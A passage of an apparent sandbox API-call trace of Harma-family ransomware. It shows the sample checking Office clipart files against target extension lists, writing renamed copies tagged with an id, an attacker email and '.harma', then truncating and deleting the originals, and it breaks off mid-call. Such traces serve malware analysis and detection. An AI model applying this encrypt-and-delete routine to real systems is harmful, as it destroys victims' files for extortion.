[0152.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0152.120] lstrlenW (lpString=".jpg") returned 4 [0152.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.121] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0152.121] lstrlenW (lpString="EN00006_.WMF") returned 12 [0152.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0152.123] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=13936) returned 1 [0152.123] CloseHandle (hObject=0x330) returned 1 [0152.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf")) returned 0x20 [0152.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0152.124] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.124] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0152.125] GetLastError () returned 0x0 [0152.125] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x3670, lpOverlapped=0x0) returned 1 [0152.292] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x3680, lpOverlapped=0x0) returned 1 [0152.293] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0152.293] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.293] SetEndOfFile (hFile=0x350) returned 1 [0152.294] CloseHandle (hObject=0x350) returned 1 [0152.294] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.294] SetEndOfFile (hFile=0x330) returned 1 [0152.297] CloseHandle (hObject=0x330) returned 1 [0152.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf")) returned 1 [0152.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0152.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0152.395] lstrlenW (lpString=".doc") returned 4 [0152.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.395] lstrlenW (lpString=".docx") returned 5 [0152.395] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.395] lstrlenW (lpString=".pdf") returned 4 [0152.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.395] lstrlenW (lpString=".xls") returned 4 [0152.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.395] lstrlenW (lpString=".xlsx") returned 5 [0152.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.395] lstrlenW (lpString=".ppt") returned 4 [0152.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0152.395] lstrlenW (lpString=".zip") returned 4 [0152.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.395] lstrlenW (lpString=".rar") returned 4 [0152.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.396] lstrlenW (lpString=".bz2") returned 4 [0152.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.396] lstrlenW (lpString=".7z") returned 3 [0152.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0152.396] lstrlenW (lpString=".dbf") returned 4 [0152.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0152.396] lstrlenW (lpString=".1cd") returned 4 [0152.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0152.396] lstrlenW (lpString=".jpg") returned 4 [0152.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0152.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0152.396] lstrlenW (lpString=".doc") returned 4 [0152.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.396] lstrlenW (lpString=".docx") returned 5 [0152.397] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.397] lstrlenW (lpString=".pdf") returned 4 [0152.397] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.397] lstrlenW (lpString=".xls") returned 4 [0152.397] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.397] lstrlenW (lpString=".xlsx") returned 5 [0152.397] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.397] lstrlenW (lpString=".ppt") returned 4 [0152.397] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0152.397] lstrlenW (lpString=".zip") returned 4 [0152.397] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.397] lstrlenW (lpString=".rar") returned 4 [0152.397] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.397] lstrlenW (lpString=".bz2") returned 4 [0152.397] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.397] lstrlenW (lpString=".7z") returned 3 [0152.397] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0152.398] lstrlenW (lpString=".dbf") returned 4 [0152.398] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0152.398] lstrlenW (lpString=".1cd") returned 4 [0152.398] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0152.398] lstrlenW (lpString=".jpg") returned 4 [0152.398] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.398] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0152.398] lstrlenW (lpString="EN00319_.WMF") returned 12 [0152.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.406] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2280) returned 1 [0152.406] CloseHandle (hObject=0x384) returned 1 [0152.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf")) returned 0x20 [0152.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.413] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.414] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0152.415] GetLastError () returned 0x0 [0152.415] ReadFile (in: hFile=0x384, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x8e8, lpOverlapped=0x0) returned 1 [0152.417] WriteFile (in: hFile=0x380, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x8f0, lpOverlapped=0x0) returned 1 [0152.418] ReadFile (in: hFile=0x384, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0152.418] WriteFile (in: hFile=0x380, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.418] SetEndOfFile (hFile=0x380) returned 1 [0152.418] CloseHandle (hObject=0x380) returned 1 [0152.418] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.418] SetEndOfFile (hFile=0x384) returned 1 [0152.421] CloseHandle (hObject=0x384) returned 1 [0152.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.422] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf")) returned 1 [0152.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0152.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0152.423] lstrlenW (lpString=".doc") returned 4 [0152.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.423] lstrlenW (lpString=".docx") returned 5 [0152.423] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.423] lstrlenW (lpString=".pdf") returned 4 [0152.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.423] lstrlenW (lpString=".xls") returned 4 [0152.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.423] lstrlenW (lpString=".xlsx") returned 5 [0152.423] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.423] lstrlenW (lpString=".ppt") returned 4 [0152.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0152.424] lstrlenW (lpString=".zip") returned 4 [0152.424] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.424] lstrlenW (lpString=".rar") returned 4 [0152.424] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.424] lstrlenW (lpString=".bz2") returned 4 [0152.424] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.424] lstrlenW (lpString=".7z") returned 3 [0152.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0152.424] lstrlenW (lpString=".dbf") returned 4 [0152.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0152.424] lstrlenW (lpString=".1cd") returned 4 [0152.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0152.424] lstrlenW (lpString=".jpg") returned 4 [0152.424] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0152.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0152.424] lstrlenW (lpString=".doc") returned 4 [0152.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.424] lstrlenW (lpString=".docx") returned 5 [0152.425] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.425] lstrlenW (lpString=".pdf") returned 4 [0152.425] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.425] lstrlenW (lpString=".xls") returned 4 [0152.425] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.425] lstrlenW (lpString=".xlsx") returned 5 [0152.425] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.425] lstrlenW (lpString=".ppt") returned 4 [0152.425] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0152.425] lstrlenW (lpString=".zip") returned 4 [0152.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.425] lstrlenW (lpString=".rar") returned 4 [0152.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.425] lstrlenW (lpString=".bz2") returned 4 [0152.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.425] lstrlenW (lpString=".7z") returned 3 [0152.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0152.425] lstrlenW (lpString=".dbf") returned 4 [0152.425] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0152.425] lstrlenW (lpString=".1cd") returned 4 [0152.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0152.425] lstrlenW (lpString=".jpg") returned 4 [0152.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.426] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0152.426] lstrlenW (lpString="EN00320_.WMF") returned 12 [0152.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.427] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=736) returned 1 [0152.427] CloseHandle (hObject=0x384) returned 1 [0152.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf")) returned 0x20 [0152.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.428] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.428] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0152.429] GetLastError () returned 0x0 [0152.429] ReadFile (in: hFile=0x384, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x2e0, lpOverlapped=0x0) returned 1 [0152.431] WriteFile (in: hFile=0x380, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x2f0, lpOverlapped=0x0) returned 1 [0152.432] ReadFile (in: hFile=0x384, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0152.432] WriteFile (in: hFile=0x380, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.432] SetEndOfFile (hFile=0x380) returned 1 [0152.432] CloseHandle (hObject=0x380) returned 1 [0152.433] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.433] SetEndOfFile (hFile=0x384) returned 1 [0152.438] CloseHandle (hObject=0x384) returned 1 [0152.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.438] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf")) returned 1 [0152.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0152.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0152.440] lstrlenW (lpString=".doc") returned 4 [0152.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.440] lstrlenW (lpString=".docx") returned 5 [0152.440] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.440] lstrlenW (lpString=".pdf") returned 4 [0152.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.440] lstrlenW (lpString=".xls") returned 4 [0152.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.440] lstrlenW (lpString=".xlsx") returned 5 [0152.440] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.440] lstrlenW (lpString=".ppt") returned 4 [0152.440] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0152.440] lstrlenW (lpString=".zip") returned 4 [0152.440] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.440] lstrlenW (lpString=".rar") returned 4 [0152.440] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.440] lstrlenW (lpString=".bz2") returned 4 [0152.440] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.440] lstrlenW (lpString=".7z") returned 3 [0152.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0152.440] lstrlenW (lpString=".dbf") returned 4 [0152.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0152.441] lstrlenW (lpString=".1cd") returned 4 [0152.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0152.441] lstrlenW (lpString=".jpg") returned 4 [0152.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0152.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0152.441] lstrlenW (lpString=".doc") returned 4 [0152.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.441] lstrlenW (lpString=".docx") returned 5 [0152.441] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.441] lstrlenW (lpString=".pdf") returned 4 [0152.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.441] lstrlenW (lpString=".xls") returned 4 [0152.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.441] lstrlenW (lpString=".xlsx") returned 5 [0152.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.441] lstrlenW (lpString=".ppt") returned 4 [0152.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0152.441] lstrlenW (lpString=".zip") returned 4 [0152.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.441] lstrlenW (lpString=".rar") returned 4 [0152.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.441] lstrlenW (lpString=".bz2") returned 4 [0152.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.441] lstrlenW (lpString=".7z") returned 3 [0152.442] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0152.442] lstrlenW (lpString=".dbf") returned 4 [0152.442] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0152.442] lstrlenW (lpString=".1cd") returned 4 [0152.442] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0152.442] lstrlenW (lpString=".jpg") returned 4 [0152.442] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.735] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0152.735] lstrlenW (lpString="FD00076_.WMF") returned 12 [0152.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0152.771] 